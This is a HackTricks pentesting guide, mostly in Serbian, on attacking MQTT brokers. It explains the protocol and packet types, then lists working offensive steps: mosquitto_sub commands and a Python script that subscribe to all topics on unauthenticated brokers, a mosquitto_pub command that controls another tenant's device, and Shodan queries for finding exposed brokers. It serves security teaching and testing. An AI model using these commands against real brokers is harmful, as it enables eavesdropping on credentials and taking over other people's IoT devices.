1883 - Pentesting MQTT (Mosquitto)

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

MQ Telemetry Transport (MQTT) je poznat kao protokol zasnovan na publish/subscribe modelu razmene poruka koji se izdvaja po izuzetnoj jednostavnosti i lakoći. Ovaj protokol je posebno prilagođen okruženjima u kojima uređaji imaju ograničene resurse i rade preko mreža koje karakterišu mala propusnost, velika latencija ili nepouzdane veze. Osnovni ciljevi MQTT-a uključuju minimiziranje korišćenja mrežne propusnosti i smanjenje opterećenja resursa uređaja. Dodatno, teži održavanju pouzdane komunikacije i obezbeđivanju određenog stepena garancije isporuke. Ovi ciljevi čine MQTT izuzetno pogodnim za rastuće oblasti machine-to-machine (M2M) komunikacije i Internet of Things (IoT), gde je ključno efikasno povezivanje velikog broja uređaja. Osim toga, MQTT je veoma koristan za mobilne aplikacije, gde su ušteda propusnosti i trajanja baterije ključni.

Default port: 1883

PORT     STATE SERVICE                 REASON
1883/tcp open  mosquitto version 1.4.8 syn-ack

Inspekcija saobraćaja

Kada MQTT brokers primi CONNECT paket, vraća se CONNACK paket. Taj paket sadrži return code koji je ključan za razumevanje statusa veze. Return code 0x00 znači da su kredencijali prihvaćeni, što označava uspešnu konekciju. S druge strane, return code 0x05 signalizira da su kredencijali neispravni, čime se konekcija onemogućava.

Na primer, ako broker odbije konekciju zbog neispravnih kredencijala, scenario bi izgledao otprilike ovako:

{
"returnCode": "0x05",
"description": "Connection Refused, not authorized"
}

Brute-Force MQTT

Pentesting MQTT

Authentication is totally optional i čak i ako se authentication vrši, encryption is not used by default (credentials se šalju u clear text). MITM attacks i dalje mogu biti izvedeni da bi se ukrale passwords.

Za povezivanje na MQTT servis možete koristiti: https://github.com/bapowell/python-mqtt-client-shell i pretplatiti se na sve topics radeći:

> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
> subscribe "$SYS/#"

Takođe možete koristiti https://github.com/akamai-threat-research/mqtt-pwn

Takođe možete koristiti:

bash
apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.

Ili možete pokrenuti ovaj kod da pokušate da se povežete na MQTT servis bez authentication, subscribe na sve topic-ove i slušate ih:

python
#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
import paho.mqtt.client as mqtt
import time
import os

HOST = "127.0.0.1"
PORT = 1883

def on_connect(client, userdata, flags, rc):
client.subscribe('#', qos=1)
client.subscribe('$SYS/index.html#')

def on_message(client, userdata, message):
print('Topic: %s | QOS: %s  | Message: %s' % (message.topic, message.qos, message.payload))

def main():
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect(HOST, PORT)
client.loop_start()
#time.sleep(10)
#client.loop_stop()

if __name__ == "__main__":
main()

Model objavljivanja/pretplate

Model objavljivanja/pretplate se sastoji od:

  • Publisher: objavljuje poruku na jedan (ili više) topic(a) u brokeru.
  • Subscriber: pretplaćuje se na jedan (ili više) topic(a) u brokeru i prima sve poruke poslate od publisher-a.
  • Broker: rutira sve poruke od publisher-a ka subscriber-ima.
  • Topic: sastoji se iz jednog ili više nivoa koji su razdvojeni kosom crtom (npr., /smartshouse/livingroom/temperature).

Packet Format

Svaki MQTT paket sadrži fiksno zaglavlje (Figura 02).Figura 02: Fiksno zaglavlje

https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png

Packet Types

  • CONNECT (1): Pokreće ga klijent da zatraži konekciju ka serveru.
  • CONNACK (2): Potvrda servera o uspešnoj konekciji.
  • PUBLISH (3): Koristi se za slanje poruke od klijenta ka serveru ili obrnuto.
  • PUBACK (4): Potvrda prijema PUBLISH paketa.
  • PUBREC (5): Deo protokola isporuke poruke koji osigurava da je poruka primljena.
  • PUBREL (6): Dalja potvrda u isporuci poruke, označava oslobađanje poruke.
  • PUBCOMP (7): Završni deo protokola isporuke poruke, označava završetak.
  • SUBSCRIBE (8): Zahtev klijenta za slušanje poruka sa teme.
  • SUBACK (9): Potvrda servera na SUBSCRIBE zahtev.
  • UNSUBSCRIBE (10): Zahtev klijenta da prestane da prima poruke sa teme.
  • UNSUBACK (11): Odgovor servera na UNSUBSCRIBE zahtev.
  • PINGREQ (12): Heartbeat poruka koju šalje klijent.
  • PINGRESP (13): Odgovor servera na heartbeat poruku.
  • DISCONNECT (14): Pokreće ga klijent da završi konekciju.
  • Vrednosti 0 i 15 su rezervisane i njihova upotreba je zabranjena.

Napadi na IoT MQTT ekosistem: nešifrovani brokeri i zaobilaženje ACL-a za teme

Mnoge potrošačke IoT platforme izlažu MQTT brokere koje koriste dve različite uloge:

  • Gateway/hub uređaji koji povezuju radio protokole (npr., BLE/LoRa/Zigbee) sa cloud-om.
  • Mobile apps ili web backendi koji kontrolišu uređaje preko “app” topic-a.

Uobičajene slabosti koje možete iskoristiti tokom pentest-a:

  • Nešifrovani MQTT preko nestandardnih portova (npr., TCP/8001) umesto MQTTS. Bilo koji posmatrač na putu može pročitati kredencijale i kontrolne frame-ove. Koristite Wireshark da uočite nešifrovan CONNECT/CONNACK i SUBSCRIBE/PUBLISH saobraćaj na neuobičajenim portovima.
  • Slabi ili nepostojeći per-tenant topic ACL-ovi. Ako su teme imenovane samo po deviceId (npr., "/tenantless//tx"), bilo koji autentifikovani korisnik može PUBLISH-ovati na uređaje drugih tenant-a.
  • Curenje osetljivih podataka preko maintenance/admin tema (npr., Wi‑Fi kredencijali emitovani nešifrovano nakon promena konfiguracije).

Primeri (zamenite rezervisana mesta stvarnim vrednostima):

Subscribe-ujte na potencijalno osetljive teme sa poznatim prefiksima i device ID-evima:

bash
# Using mosquitto_sub
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
-i <client_id> -u <username> -P <password> \
-t "<topic_prefix>/<deviceId>/admin" -v

Kontrola između zakupaca kada su ACLs slabi (objavljivanje na topic uređaja drugog zakupca):

bash
mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
-i <your_client_id> -u <your_username> -P <your_password> \
-t "/ys/<victimDeviceId>/tx" \
-m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}'

Shodan

  • port:1883 MQTT
  • Nešifrovani MQTT na nestandardnim portovima je čest u IoT-u. Razmislite o pretrazi brokera na alternativnim portovima i potvrdite to detekcijom protokola.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks